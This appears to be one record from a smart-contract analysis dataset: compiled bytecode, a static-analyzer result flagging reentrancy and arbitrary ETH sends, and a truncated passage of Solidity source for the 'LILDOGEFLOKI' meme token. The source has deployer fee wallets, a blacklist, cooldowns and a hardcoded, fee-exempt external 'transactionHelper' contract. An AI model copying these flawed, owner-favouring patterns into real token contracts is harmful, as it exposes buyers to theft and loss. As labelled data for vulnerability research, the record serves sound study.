ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122061f159a6351bf851768513056c85d9b458ad7e83b191fe5f49c307b9ea3348c464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,354 |
0x9e09c637d372ae2efc25724d11443f0e6cfdfcbd
|
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface ITransactionHelper {
function CheckTX(address, address, uint256, address) external returns(uint256);
function openTrading(address) external;
}
contract LILDOGEFLOKI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "LILDOGEFLOKI";
string private constant _symbol = "LILDF";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
ITransactionHelper public transactionHelper;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
modifier onlyTXHelper() {
require( _msgSender() == address(transactionHelper) , "TXHelper: caller is not the TXHelper");
_;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), 2**256 - 1);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_feeAddrWallet1 = payable(msg.sender);
_feeAddrWallet2 = payable(msg.sender);
_tOwned[_msgSender()] = _tTotal;
transactionHelper = ITransactionHelper(address(0x1314404D44a2De710752aFbDeBC8E6f22C6550A6));
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(transactionHelper)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
